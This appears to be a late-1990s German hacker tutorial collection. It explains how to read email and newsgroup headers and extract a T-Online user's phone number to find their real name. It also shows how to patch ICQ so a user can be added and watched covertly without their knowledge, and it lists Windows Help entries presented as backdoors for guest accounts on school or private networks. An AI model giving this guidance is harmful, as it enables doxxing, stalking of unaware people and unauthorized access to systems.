- hier findet ihr Informationen darüber, von welchen POP Server ihr euch die E-Mail geholt habt, das wäre in diesem Fall o200.fooway.net,
  welche Mailsoftware auf dem Server aktiv ist (inkl.Versionsnummer), das Datum und die Uhrzeit

Received: from ifi.foobar.no by o200.fooway.net via ESMTP (950413.SGI.8.6.12/951211.SGI)
for <hacker@techbroker.com> id OAA18967; Fri, 11 Apr 1997 14:09:58 -0400
- hier findet ihr den Computernamen (ifi.foobar.bo) der die Mail an den Server geschickt hat (o200.fooway.net) und an wen die E-Mail
  adressiert ist

Received: from gyllir.ifi.foobar.no (2234@gyllir.ifi.foobar.no [129.133.64.230]) by ifi.foobar.no with ESMTP (8.6.11/ifi2.4)
 id <UAA24351@ifi.foobar.no> for <hacker@techbroker.com> ; Fri, 11 Apr 1997 20:09:56 +0200
- diese Zeile enthält, das der Computer ifi.foobar.no die E-Mail von einem anderen Computer (gyllir.ifi.foobar.no) erhalten hat
  nach dem Computernamen gyllir.ifi.foobar.no findet ihr eine IP Adresse 129.133.64.230 aber warum findet ihr nach ifi.foobar.no keine ???
  um dieses Phänomen zu lösen gehen wir wie folgt vor:
  macht einen NSLOOKUP (bekommt ihr überall als Programm) auf ifi.foobar.no
  die Antwort sollte so aussehen:
  Server:  Fubarino.com
  Address:  198.6.71.10
  Non-authoritative answer:
  Name:    ifi.foobar.no
  Address:  129.133.64.2
  Aber was soll uns das sagen ???
  Ganz einfach, der Computer ifi.foobar.no hat sich mit dem Server Fubarino.com verbunden und von dort aus die E-Mail geschickt
  Aber warum einmal .no und einmal .com ???
  Ebenfalls ganz einfach: der Computer ifi.foobar.no scheint ein Norwegischer Computer zu sein, der sich mit dem amerikanischen Server
  verbunden hat um von dort aus die Mail zu schicken

From: Vegbar Fubar <fooha@ifi.foobar.no>
- hier können wir erkennen, das der Absender der E-Mail "Vegbar Fubar" ist (jedenfalls hat er sein Mailprogramm darauf eingerichtet)
  und das die Absenderadresse "fppha.ifi.foobar.no" ist

Received: from localhost (Vegbarha@localhost) by gyllir.ifi.foobar.no ; Fri, 11 Apr 1997 18:09:53 GMT
- Der Computer "gyllir.ifi.foobar.no" hat die E-Mail von "Localhost" (einem lokalen Rechner) erreicht
  diesen Computer können wir per Telnet abfragen, um zu sehen welches System der Computer betreibt
  telnet gyllir.ifi.foobar.no
  ebenfalls sehen wir hier ein Datum und eine Uhrzeit, welche besagt wann der Computer die E-Mail erreicht hat

Date: Fri, 11 Apr 1997 18:09:53 GMT
- hier erkennen wir, das Datum und die Uhrzeit, wann uns die E-Mail erreicht hat

Message-Id: <199704111809.13156.gyllir@ifi.foobar.no>
- aus der Message ID können wir das Datum (1997 April 11) entnehmen und die Zeit  (1809=18:09 Uhr) und 13156 identifiziert denjenigen,
  der die E-Mail abgeschickt hat (dies findet nur aus Sicherheitsgründen des Mail-Servers statt)

To: hacker@techbroker.com
- in der letzten Zeile des Headers sehen wir unsere eigene E-Mail Adesse, d.h. welche Empfängeradresse der Absender eingetragen hat


Ich hoffe euch wenigstens etwas geholfen zu haben, auch wenn vielleicht nicht jeder unter euch alles verstanden hat :-(
Solltet ihr Fragen haben, so schickt mir einfach eine E-Mail :-) hehehe

Ebenso ist es, wenn ihr Nachrichten in Newsgroups lest. Dort findet ihr haufenweise Nachrichten.
Ein Header aus einer Newsgroup sieht so aus:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Path: newsfeed00.btx.dtag.de!newsfeed01.btx.dtag.de!newsmm00.btx.dtag.de!news.btx.dtag.de!not-for-mail
From: WaTCher242@t-online.de (Sweety)
Newsgroups: z-netz.alt.binaer.hackreport
Subject: Web-Site
Date: Wed, 17 Feb 1999 17:52:22 +0100
Lines: 8
Message-ID: <36CAF3C6.1AA0456A@sinfoseek.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: news04.btx.dtag.de 919270405 11445 0565131190-0001 990217 16:53:25
X-Complaints-To: abuse@t-online.de
X-Sender: 0565131190-0001@t-online.de
X-Mailer: Mozilla 4.5 [de]C-CCK-MCD QXW03207  (Win98; I)
X-Accept-Language: de,en
Xref: news.btx.dtag.de z-netz.alt.binaer.hackreport:1548
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Hier aus dem Header können wir ebenfalls hilfreiche Informationen entnehmen:
Path:                hier steht von wo aus die Nachricht in der Newsgroup kam
From:                hier steht die E-Mail Adresse des Absenders & den Namen, den die Person benutzt
Newsgroups:            hier steht, in welchen Newsgroups die Nachricht plaziert wurde
Subject:                hier steht der Betreff der Nachricht, wie ihr sie in der NG vorfindet
Date:                hier steht das Datum, an dem die Nachricht in die NG geschrieben worden ist
Lines:                hier steht wieviele Zeilen die Nachricht enthält
Message-ID:            hier steht nixxx wichtiges
Mime-Version:            hier steht
Content-Type:            hier steht
Content-Transfer-Encoding:    hier steht
X-Trace:                hier steht der News Server der Nachricht, die Message ID, das Datum und evtl. Rufnummer
X-Complaints-To:            hier steht
X-Sender:            hier steht die E-Mail Adresse des Senders (Vielleicht auch die Telefonnumer ???)
X-Mailer:            hier steht welches Programm die Person zum mailen nimmt, und welches Betriebssystem er nutzt
X-Accept-Language:        hier steht die von der Person akzeptierten Sprachen
Xref:                hier steht in welcher NG die Nachricht gelandet ist

Eine Art von besondere Nachricht ist die, die von jemandem geschickt wird, der bei T-Online ist, denn bei ihnen könnt
ihr euch ganz einfach im Header die Telefonnummer raussuchen, diese dann auch noch eventuell abfragen
(Klicktel, D-Info)...voila, ihr habt den realen Namen dieser Person :-)
Und wo steht die Telefonnummer fragt ihr euch sicher jetzt ?? Ganz einfach, schaut euch den Header an und sucht in diesem
nach folgender Zeile:

X-Sender: 0565131190-0001@t-online.de

Wenn ihr mein Tutorial über >T-Online Zugangsdaten einer Webpage< gelesen habt, dann wisst ihr wohl wie man jetzt vorgeht.
Solltet ihr ihn nicht gelesen haben, will ich es euch hier noch einmal zeigen.

Nehmt den X-Sender (in diesem Fall 0565131190-0001@t-online.de) der T-Online Nachricht, denkt euch alles weg ab -0001@t-online.de
Nun erhaltet ihr die gesuchte Rufnummer des Verfassers der Nachricht ==> 0565131190        :-)

Wenn ihr checken wollt ob diese Person eine Homepage hat, versucht einfach folgendes:
http://home.t-online.de/home/RUFNUMMER
das wäre in diesem Fall die 0565131190
Die vollständige URL der Person lautet dann:
http://home.t-online.de/home/0565131190/ oder http://home.t-online.de/home/0565131190/.impressum.html um gleich detailierte
Informationen zu erhalten.



So, das war es auch schon wieder aus der digitalen Welt, die wohl nur manche Leute zu verstehen wissen :-)
Dieses Tutorial erschien mir als sehr wichtig und gleichzeitig als sehr erschreckend, was man für Informationen aus Headern
entnehmen kann.
So, dann wünsche ich euch viel Erfolg beim Lesen der Header :-)
__________________________________________________________________________________________________________

ICQ User Adden:
=============

Hallöchen, hier bin ich wieder mit einem neuen Tutor :-)
Hier geht es um das berühmte Chat Proggy : ICQ !!!
Ihr habt euch sicherlich schon gefragt wie man über ICQ User Added, ohne dessen Erlaubnis.
Im grossen WWW exisiteren einige Crackz, die (fast) alle funktionieren und ihren Dienst tun.

Leider haben sie doch alle ein Problem:
Nehmen wir mal an, ihr patcht euer ICQ mit einem dieser Crackz und added jemanden zu eurer
Kontakt Liste. Ja, und wo bleibt der Haken werdet ihr euch jetzt sicher fragen.
Der Haken ist ganz einfach: Denjenigen, den ihr geadded habt, teilt ihr (ob ihr wollt oder nicht)
eine kurze System-Message mit, die besagt, das ihr ihn zu eurer Liste hinzugefügt habe.
Na, ihr wisst jetzt schon was an der Sache Scheisse ist ???

Okay, um dem Abhilfe zu schaffen, daß er nicht mitbekommt, das ihr ihn geadded habt, habe
ich hier dieses Tutorial geschaffen :-)
Die Lösung des Problems ist ganz einfach:
Downloaded euch zuerst einen dieser Crackz, deaktiviert ICQ, patcht ICQ und versucht einen
User zu adden ohne ihn um Erlaubnis zu fragen.

Sollte dies erfolgreich geschehen, geht es nun hier weiter.
Sucht nach der UIN über ICQ die Person, die ihr hinzufügen wollt.
Sobald ICQ eure Anfrage positiv bestätigt, markiert den Namen der Person, indem ihr einfach auf
den Namen klickt.

Und nun HALT !!!

Klickt auf keinen Fall weiter oder so einen Schrott. Nun trennt ihr eure Verbindung zum Internet.
Sollte dies erfolgreich geschehen sein, klickt nun auf "Next". Die daraus enstandene Folge ist simpel.
ICQ bombt euch nun mit Fehlermeldungen zu, die besagen, das keine Nachricht gesendet werden
konnte und so einen Müll.

Aber daran werden wir uns jetzt nicht stören.
Nach dem Bestätigen der Fehlermeldungen können wir erfolgreich unser Ergebnis der Aktion sehen...
Wir haben die gewünschte Person auf unserer Contact-List, und zwar, ohne das die etwas davon
mitbekommt.
Um sicher zu gehen, startet den Rechner erneut, verbindet euch dann wieder mit dem Internet.

Nun könnt ihr in vollen Zügen beobachten, wann die Person online ist, ohne das sie etwas davon merkt.
Nett, oder ???
Um die IP der Person in euren Besitz zu bringen... lest die Lesson 02 meiner BIBLE ;-)

Wieder einmal endet hier eine wunderbare Lesson und wieder einmal weiss ich hier an dieser Stelle
langsam nicht mehr was ich noch schreiben soll.
__________________________________________________________________________________________________________

Nützliche Windowshilfe:
===================

Hallöchen, da bin ich wieder.
Wiedereinmal erweitere ich die BIBLE um eine Lesson :-))
So, anstatt lange drumherum zu reden, fange ich lieber direkt an ;-)
Nehmen wir den Fall an, das man sich irgendwo in einem privaten Netzwerk oder in der Schule
als Gast oder so eingeloggt hat.
Wir setzen an dieser Stelle voraus, das es sich um ein Windows System handelt.
Als Gast besitzt man von Natur aus schon keine Rechte auf dem System, was man natürlich
ändern kann. Dazu benötigen wir lediglich die Windows Hilfe. Denn die Windows Hilfe steht
selbst jedem Gast zur Verfügung.
Deshalb habe ich hier für diverse Betriebssysteme die Links in der Hilfe "herausgemfummelt".
Um diese nachverfolgen zu können öffnen wir die Registerkarte "Index".
Falls ihr nicht wisst, wie man die Windows Hilfe verwendet drückt die Taste "F1" im Windows
und sucht dort "Hilfe über Hilfe" ;-)
Naürlich nenne ich hier nicht alle Verknüpfungen in der Windows-Hilfe, da sich das ein oder
andere sowieso wiederholt.
Für folgende Systeme stelle ich hier die Hintertüren in der Hilfe zur Verfügung:
Windows 95/98/NT 4.0 Server
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Windows 98:
------------------
---ASSISTENT FÜR DEN INTERNET ZUGANG:---
* Assistenten, Assistent für den Internetzugang

---ASSISTENT FÜR DIE HARDWARE- UND FEHLERBEHEBUNG:---
* ASD

---ASSISTENT FÜR DIE ISDN KONFIGURATION:---
* * Analoge Telefonsysteme auf ISDN aufrüsten
* Assistenten, Assistent für die ISDN-Konfiguration

---AUDIORECORDER:---
* Anhören, Audio; Verwenden des Audiorecorders

---BACKUP:---
* Backup

---CD-SPIELER:---
* Anhören, CDs; Verwenden der CD-Wiedergabe

---DATENTRÄGERBEREINIGUNG:---
* Alte Dateien entfernen; Verwenden der Datenträgerbereinigung

---DEFRAGMENTIERUNG:---
* Festplattenspeicherplatz erhöhen, Defragmentierung;
   Beschleunigen des Festplattenzugriffs mit Hilfe der Defragmentierung

---DR.WATSON:---
* Ausführen von Tools, automatisches, Dr. Watson

---EDITOR:---
* .txt-Dateien
* Dokumente, Bearbeiten; Verwenden des Editors
* Dokumente, Erstellen; Verwenden des Editors

---EIGENSCHAFTEN VON AKUSTISCHE SIGNALE:---
* Akustische Signale, Zuweisen zu Ereignissen; So geben Sie an,
    welche akustischen Signale für Infrarot-Monitor-Ereignisse verwendet werden
* Akustische Signale, Zuweisen zu Ereignissen; So weisen Sie Programmereignissen einen Signalton zu

---EIGENSCHAFTEN VON ANZEIGE:---
* .bmp-Dateien; So ändern Sie den Hintergrund des Desktops
* .gif-Dateien als Hintergrundbild verwenden
* 16-Farben-Darstellung
* 256-Farben-Darstellung
* Anordnen von Bildschirmen

---EIGENSCHAFTEN VON DATUM/UHRZEIT:---
* 12-Stunden-Format, Einstellungen
* Ändern der Zeiteinstellungen; So ändern Sie die Uhrzeit des Computers

---EIGENSCHAFTEN VON DCOM:---
* Aktivieren von DCOM; So aktivieren Sie DCOM
* Aktivieren von DCOM; So aktivieren Sie DCOM für eine bestimmte Anwendung

---EIGENSCHAFTEN VON EINGABEHILFEN:---
* Akustische Signale; So aktivieren Sie die Tondarstellung
* ALT-TASTE; So aktivieren Sie die Einrastfunktion

---EIGENSCHAFTEN VON ENERGIEVERWALTUNG:---
* Alarm, niedriger Energiestand
* Ändern von Energieschemas; So erstellen Sie ein neues Energieschema

---EIGENSCHAFTEN VON KENNWÖRTER:---
* Administration, Remote-; So entfernen Sie einen Namen aus der Liste der Administratoren
* Administration, Remote-; So ermöglichen Sie anderen Benutzern,
   die Verwendung der Ressourcen auf Ihrem Computer anzuzeigen
* Administration, Remote-; So fügen Sie der Liste der Remoteadministratoren einen Namen hinzu

---EIGENSCHAFTEN VON LÄNDEREINSTLLUNGEN:---
* 2000, Kalendereinstellungen
* Ändern der Ländereinstellungen; ***

---EIGENSCHAFTEN VON MAUS:---
* Ändern der Mauseinstellungen; So ändern Sie das Aussehen des Mauszeigers

---EIGENSCHAFTEN VON MULTIMEDIA:---
* Abspielen von Multimediadateien; So ändern Sie die Größe des Videoclip-Fensters
* Analoge Wiedergabe, CD-Wiedergabe
* Anhören, Audio; So regeln Sie die Wiedergabelautstärke

---EIGENSCHAFTEN VON MODEMS:---
* Anrufe tätigen; So konfigurieren Sie ein installiertes Modem

---EIGENSCHAFTEN VON SCANNER UND KAMERAS:---
* Anzeigen von gescannten Bildern; Verwenden von Scanner und Kameras

---EIGENSCHAFTEN VON SOFTWARE:---
* Alte Dateien entfernen; So geben Sie Festplattenspeicher frei;
   Windows-Komponenten entfernen, die nicht mehr benötigt werden
* Alte Dateien entfernen; So geben Sie Festplattenspeicher frei;
    Programme entfernen, die nicht mehr gebraucht werden.
* Erstellen einer Startdiskette

---EIGENSCHAFTEN VON SYSTEM:---
* 32-Bit-PC-Kartenunterstützung, Deaktivieren
* Aktivieren von Hardwaregeräten
* Ändern der Einstellungen für Hardwareressourcen; So entfernen Sie Hardwarekomponenten
* Ändern des Namens von Hardwareprofilen
* Anzeigen von Geräteressourcen

---HARDWARE ASSISTENT:---
* Einstellungen, Gamecontroller
* Flugsteuerknüppel

---HYPER TERMINAL:---
* Emulation, Terminal-

---IMAGING:---
* Anmerkungen zu Bilddokumenten hinzufügen
* Fotos, gescannte; Verwenden von Kodak Imaging

---LAUFWERKKONVERTIERUNG:---
* Alte Dateien entfernen; So geben Sie Festplattenspeicher frei;
   Zusätzlichen freien Speicherplatz durch die Laufwerkkonvertierung (FAT32) oder durch
   Datenträgerkomprimierung mit DriveSpace 3 schaffen; Die Laufwerkkonvertierung (FAT32) verwenden
* Austauschbare Datenträger, FAT32 und
* Datenträger, Auswechselbare, und FAT32

---MEDIENWIEDERGABE:---
* Animationsdateien wiedergeben; Verwenden der Medienwiedergabe
* Anzeigen von Filmen; Verwenden der Medienwiedergabe

---MICROSOFT SYSTEMINFO:---
* Abrufen von Systeminformationen

---MODEMINSTALLATION:---
* Anbieter, Internetdienst-, Einrichten eines Kontos bei; Einrichten eines Internetkontos;
   Ich habe ein Internetkonto. Weiter mit Schritt 2

---NETZWERK:---
* 32-Bit-DLC-Protokoll, Deaktivieren der 16-Bit-Unterstützung
* 32-Bit-DLC-Protokoll, Installieren
* 32-Bit-DLC-Protokoll, Konfigurieren von Einstellungen
* 32-Bit-DLC-Protokoll, Überprüfen von Bindungen
* Adapter, Netzwerk-, Binden an Protokolle
* Adapter, Netzwerk-, Einstellungen
* Adapter, Netzwerk-, Entfernen von Software
* Adapter, Netzwerk-, Installieren von Software
* Aktivieren der automatischen Sicherung
* Aktivieren der Datei- und Druckerfreigabe

---PAINT:---
* .bmp-Dateien; Verwenden von Paint
* Dokumente, Einfügen von Paint-Bildern in

---RECHNER:---
* Addieren von Zahlen
* Addition mit dem Rechner

---SCANDISK:---
* Alte Dateien entfernen; So geben Sie Festplattenspeicher frei; ScanDisk verwenden,
   um Fehler zu ermitteln, die möglicherweise Speicherplatz beanspruchen

---UPDATE ASSISTENT:---
* Aktualisieren von Treibern; Verwenden des Update-Assistenten - Deinstallation
* Aktualisieren von Windows 98; Verwenden des Update-Assistenten - Deinstallation

---ÜBERPRÜFUNGSPROGRAMM FÜR SIGNATUREN:---
* Anzeigen von Zertifikaten

---WAHLHILFE:---
* Anrufe tätigen; Verwenden der Wählhilfe zum Wählen von Ihrem Computer aus

---WARTUNGSASSISTENTEN:---
* Ausführen von Tools, automatisches, Wartungs-Assistent
* Festplattenspeicherplatz erhöhen, Wartungs-Assistent

---WINDOWS AKTENKOFFER:---
* Dokumente, Aktenkoffer; Verwenden des Aktenkoffers

---WORDPAD:---
* Absatzformate, WordPad
* Dokumente, Bearbeiten; Verwenden von WordPad
* Dokumente, Erstellen; Verwenden von WordPad
* Dokumente, Formatieren
* Formatieren von Dokumenten mit WordPad

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Windows NT 4.0 Server:
----------------------
---AUDIORECORDER:---
* Abspielen; Klangdateien
* Audio: Audiorecorder
* Audiorecorder
* Aufnehmen von Klängen
* Aufzeichnen von Klangdateien; Verwenden des Audiorecorders zum Aufnehmen,
   Wiedergeben und Bearbeiten von Audiodateien
* Bearbeiten: Klangdateien

---BENUTZERMANAGER:---
* Benutzerkonten; Verwalten der Computer-Sicherheit mit dem Benutzer-Manager für Domänen
* Benutzer-Manager für Domänen
* Benutzerrechte; Verwalten der Computer-Sicherheit mit dem Benutzer-Manager für Domänen
* Domänen; Verwalten der Computer-Sicherheit mit dem Benutzer-Manager für Domänen
* Entfernen: Benutzerprofile
* Erstellen: Gruppen; Verwalten der Computer-Sicherheit mit dem Benutzer-Manager für Domänen

---BANDSICHERUNG:---
* Bandsicherung; Verwenden der Bandsicherung zur Sicherung von Dateien
* Beschädigte Dateien wiederherstellen
* Computer: sichern

---CD-SPIELER:---
* Abspielen; CDs
* Audio: CD-Spieler; Verwenden der CD-Wiedergabe zum Abspielen von CDs
* CD-ROM-Laufwerke; Verwenden der CD-Wiedergabe zum Abspielen von CDs
* CD-Spieler; Verwenden der CD-Wiedergabe zum Abspielen von CDs

---DATEI-MANAGER:---
* Datei-Manager; Ausführen des Datei-Managers

---DATEI-OPTIONEN:---
* Datenträger: komprimieren; So zeigen Sie komprimierte Ordner und Dateien in einer anderen Farbe an
* Datenträgerkomprimierung; So zeigen Sie komprimierte Ordner und Dateien in einer anderen Farbe an
* Komprimieren von NTFS-Datenträgern; So zeigen Sie komprimierte Ordner und Dateien in einer anderen Farbe an

---DFÜ NETZWERK:---
* Konten, Internet; Schritt 6  So stellen Sie über DFÜ-Netzwerk eine Verbindung mit Ihrem Dienstanbieter her

---DR.WATSON:---
* Abstürze
* Anwendungen: Fehler; Verwenden von Dr. Watson, um Programmfehler zu entdecken
* Debugging; Verwenden von Dr. Watson, um Programmfehler zu entdecken
* Dr. Watson

---DRUCKER:---
* Abbrechen des Druckvorgangs; So brechen Sie den Druck eines Dokumentes ab
* Abbrechen des Druckvorgangs; So starten Sie ein Dokument neu
* Anhalten; So beenden Sie die Freigabe eines Druckers
* Anhalten; So brechen Sie den Druck eines Dokuments ab
* Anhalten; So halten Sie Druckvorgänge an bzw. setzen sie fort
* Anhalten; So starten Sie ein Dokument neu
* Anschlüsse; So ändern Sie die Zeitüberschreitungseinstellungen für einen Parallelanschluß
* Anzeigen: Druckwarteschlangen
* Auflösung, Druck; So stellen Sie Standardoptionen für Grafik- und Farbdrucke ein
* Aufträge drucken Siehe Drucken
* Berechtigungen; So beschränken Sie den Zugriff auf einen freigegebenen Drucker
* Berechtigungen: Drucker
* Bereinigen: Druckwarteschlangen; So brechen Sie den Druck eines Dokuments ab

---DRUCKERINSTALLATION:---
*  Anschlüsse; So richten Sie einen LPR-kompatiblen Drucker ein
* Daemon, Line Printing (LPD); So richten Sie einen LPR-kompatiblen Drucker ein
* Drucken: TCP/IP; So richten Sie einen LPR-kompatiblen Drucker ein

---EDITOR:---
* Anzeigen: Dokumente
* Bearbeiten: Dokumente; Verwenden des Editors zum Schreiben und Bearbeiten von Textdateien
* Editor

---EIGENSCHAFTEN VON AKUSTISCHEN SIGNALEN:---
* Audio: Zuordnen von Klängen zu Ereignissen
* Eingabehilfen: Zuordnen von Klängen zu Ereignissen

---EIGENSCHAFTEN VON ANZEIGE:---
* Abbildungen Siehe Bitmaps, Grafiken, Bilder
* Abstand, Symbole
* Aktualisieren: Bildschirm
* Aktualisierungsrate
* Ändern der Grösse Siehe Grösse; So verwenden Sie grössere oder kleinere Schriftarten
* Anpassen; So ändern Sie das Aussehen der Elemente auf Ihrem Desktop
* Anpassen: Desktop
* Anzahl von Farben
* Auflösung, Bildschirm
* Aussehen, Desktop; So ändern Sie das Aussehen der Elemente auf Ihrem Desktop
* Aussehen, Desktop; So ändern Sie den Hintergrund Ihres Desktops
* Aussehen, Desktop; So ändern Sie die Anzahl der Farben, die auf dem Bildschirm angezeigt werden
* Aussehen, Desktop; So ändern Sie die Bildschirmauflösung
* Aussehen, Desktop; So erstellen oder ändern Sie Desktop-Muster
* Aussehen, Desktop; So verwenden Sie größere oder kleinere Schriftarten
* Bearbeiten: Desktop-Muster
* Bilder: (Siehe auch Bitmaps, Grafiken)
* Bilder: Einbrennen verhindern mit Bildschirmschonern
* Bildschirm: (Siehe auch Desktop)
* Bildschirm: Aktualisierungsrate

---EIGENSCHAFTEN VON DATUM/UHRZEIT:---
* Computer: Datum
* Computer: Uhrzeit

---EIGENSCHAFTEN VON DCOM-KONFIGURATION:---
* Aktivieren; So deaktivieren Sie DCOM
* Benutzer: hinzufügen zu Berechtigungslisten; So vergeben Sie Berechtigungen für eine DCOM-Anwendung
* Benutzerkonten; So richten Sie das Benutzerkonto ein, das verwendet wird, um eine DCOM-Anwendung auszuführen
* Benutzerkonten: für DCOM-Anwendungen
* Berechtigungen; So vergeben Sie Berechtigungen für eine DCOM-Anwendung
* Berechtigungen: DCOM-Anwendungen; So vergeben Sie Berechtigungen für eine DCOM-Anwendung
* Berechtigungen: DCOM-Anwendungen; So vergeben Sie Standardberechtigungen für alle DCOM-Anwendungen

---EIGENSCHAFTEN VON EINGABEHILFEN:---
* ALT-Taste; So aktivieren Sie die Einrastfunktion
* Anschlaggeschwindigkeit Siehe Anschlagverzögerung
* Anschlüsse; So verwenden Sie ein alternatives Eingabegerät
* Benachrichtigung, sichtbar; So aktivieren Sie die Darstellungsoptionen
* Benachrichtigung, sichtbar; So aktivieren Sie die Tondarstellung
* Blinkender Bildschirm bei akustischen Signalen

---EIGENSCHAFTEN VON LÄNDEREINSTELLUNGEN:---
* Datum; So ändern Sie die Datumsdarstellung auf Ihrem Computer
* Eingabegebietsschema; So ändern Sie das Tastaturlayout für ein installiertes Eingabegebietsschema

---EIGENSCHAFTEN VON MAUS:---
* Anpassen: Maus; So ändern Sie das Aussehen des Mauszeigers
* Anpassen: Maus; So passen Sie die Doppelklickgeschwindigkeit für die Maus an
* Anpassen: Maus; So passen Sie die Geschwindigkeit des Mauszeigers an
* Anpassen: Maus; So vertauschen Sie die Maustasten
* Doppelklicken; So passen Sie die Doppelklickgeschwindigkeit für die Maus an

---EIGENSCHAFTEN VON MULTIMEDIA:---
* Anschlüsse; So verschieben Sie ein MIDI-Instrument zu einer anderen Audiokarte
* Audio: CD-Spieler; So regeln Sie die Lautstärke für die Kopfhörer der CD-Wiedergabe
* Audio: CD-Spieler; So wechseln Sie die CD-Wiedergabe
* Audio: compression drivers
* Audio: Komprimierungstreiber
* Audio: Kopfhörerlautstärke
* Audio: Lautstärke
* Audio: Multimedia-Geräte
* Bevorzugte Klangqualität
* CD-ROM-Laufwerke; So wechseln Sie die CD-Wiedergabe
* CDs; So installieren Sie ein Programm von einer CD-ROM

---EIGENSCHAFTEN VON SOFTWARE:---
* Anpassen; Hinzufügen von Eingabehilfen
* Anpassen: (Siehe auch Eingabehilfen, Konfigurieren)
* Anwendungen: entfernen; So entfernen Sie ein Programm von Ihrem Computer
* Anwendungen: entfernen; So wird eine Windows NT-Komponente hinzugefügt bzw. entfernt
* Anwendungen: installieren; So installieren Sie ein Programm von einer CD-ROM
* Anwendungen: installieren; So wird eine Windows NT-Komponente hinzugefügt bzw. entfernt
* Behinderte, Funktionen für Siehe Eingabehilfen
* CD-ROM-Laufwerke; So installieren Sie ein Programm von einer CD-ROM

---EIGENSCHAFTEN VON TASTATUR:---
* Blinkgeschwindigkeit, Cursor

---EREIGNISANZEIGE:---
* Anwendungen: Ereignisse Siehe Ereignisse
* Anzeigen: Ereignisprotokolle
* Ereignisanzeige
* Ereignisprotokolle; Verwenden der Ereignisanzeige, um Ereignisse unter Windows NT zu überwachen
* IDs, Ereignis

---FESTPLATTENMANAGER:---
* Benennen: Datenträger; Verwenden des Festplatten-Managers, um Ihre Festplatte zu verwalten
* Dateisysteme
* Datenträger: formatieren; Verwenden des Festplatten-Managers, um Ihre Festplatte zu verwalten
* Datenträger: Verwaltung
* Partitionen: (Siehe auch Datenträger)

---LAUTSTÄRKEREGELUNG:---
* Audio: Wiedergabe
* Balance, Lautsprecher

---LIZENZMANAGER:---
* Hinzufügen: Lizenzen
* Löschen: Lizenzen
* Pro Arbeitsplatz, Lizenzierung

---MEDIENWIEDERGABE:---
* Abspielen; Multimedia-Dateien
* Animationsdateien
* Audio: Medienwiedergabe
* CD-ROM-Laufwerke; Verwenden der Medienwiedergabe zum Abspielen von Multimedia-Dateien

---MODEM INSTALLIEREN:---
* Anrufen; So installieren Sie ein Modem
* Bulletin Boards; Verbinden mit dem Internet; Schritt 2  Richten Sie Ihre Kommunikations-Hardware ein
* Einrichten: Modems; So installieren Sie ein Modem
* Erkennen: Modems

---NETZWERK-CLIENT-MANAGER:---
* Booten, Remote; Verwalten von Netzwerk-Clients
* Clients: verwalten
* Network-Client-Manager; Verwalten von Netzwerk-Clients

---NOTFALLDISKETTE-ERSTELLEN:---
* Datenträger: Wiederherstellung; Verwenden des Programms zur Erstellung der Notfalldiskette
* Dienstprogramme: Notfalldiskette
* Einrichten: Notfalldiskette

---OBJEKT-MANAGER:---
* Pakete, Objekte; Verwenden des Objekt-Managers, um Pakete zu erstellen

---PAINT:---
* Anzeigen: Bilder mit Paint
* Bitmaps: erstellen mit Paint
* Fotografien anzeigen in Paint
* Paint; Verwenden von Paint zur Erstellung von Bildern

---RAS-VERWALTUNG:---
* Berechtigungen; Verwalten von RAS-Servern
* Berechtigungen: RAS
* DFÜ-Netzwerk: (Siehe auch RAS)

---RECHNER:---
* Rechner

---SCHRIFTARTENORDNER:---
* Adobe Type 1-Schriftarten
* Anzeigen: Schriftarten
* Beispiele, Schriftart; So drucken Sie ein Schriftartmuster
* Beispiele, Schriftart; So können Sie Schriftarten auf Ihrem Computer ansehen
* Hinzufügen: Schriftarten
* Schriften Siehe Schriftarten

---SERVER:---
* Administrative Warnungen; So verwalten Sie die Liste der Empfänger von Admin-Warnmeldungen
* Anmelden: Anmeldeskriptpfad
* Anzeigen: freigegebene Ressourcen; So zeigen Sie eine Liste der freigegebenen Ressourcen des Computers an
* Anzeigen: freigegebene Ressourcen; So zeigen Sie eine Liste der geöffneten freigegebenen Ressourcen des Computers an
* Anzeigen: verbundene Benutzer; So zeigen Sie eine Liste der Benutzer an, die mit dem Computer verbunden sind
* Anzeigen: verbundene Benutzer; So zeigen Sie eine Liste der freigegebenen Ressourcen des Computers an
* Benutzer: Liste anzeigen
* Benutzer: trennen; So zeigen Sie eine Liste der Benutzer an, die mit dem Computer verbunden sind
* Benutzer: trennen; So zeigen Sie eine Liste der freigegebenen Ressourcen des Computers an
* Benutzersitzungen anzeigen
* Benutzerverbindungen; So zeigen Sie eine Liste der Benutzer an, die mit dem Computer verbunden sind
* Beschreibung, Computer

---SYSTEMEIGENSCHAFTEN:---
* Administrative Warnungen; So ändern Sie die Reaktion von Windows NT bei einem STOP-Fehler
* Anwendungen: Reaktionszeit
* Arbeitsspeicher: virtueller; So ändern Sie die Grösse der Auslagerungsdatei für den virtuellen Speicher
* Aufgaben; So ändern Sie die Reaktionszeit für die Anwendung im Vordergrund
* Auslagerungsdatei; So ändern Sie die Größe der Auslagerungsdatei für den virtuellen Speicher
* Autoexec.bat; So ändern Sie die Umgebungsvariablen Ihres Computers
* Autoexec.bat; So fügen Sie Umgebungsvariablen hinzu
* Benutzerprofile; So erstellen Sie ein Benutzerprofil
* Benutzerprofile; So löschen Sie ein Benutzerprofil
* Benutzerprofile; So schalten Sie zwischen einem Server-gespeicherten und lokalen Benutzerprofil um
* Benutzervariablen; So ändern Sie die Umgebungsvariablen Ihres Computers
* Benutzervariablen; So fügen Sie Umgebungsvariablen hinzu
* Betriebssysteme; So legen Sie das Standardbetriebssystem für Autostart fest
* Dual-Boot-Systeme; So legen Sie das Standardbetriebssystem für Autostart fest

---SYSTEMMONITOR:---
* Administrative Warnungen; Verwenden des Systemmonitors, um die Leistung Ihres Computers zu überwachen
* Benchmark
* Feineinstellung
* Prozesse überwachen; Verwenden des Systemmonitors, um die Leistung Ihres Computers zu überwachen

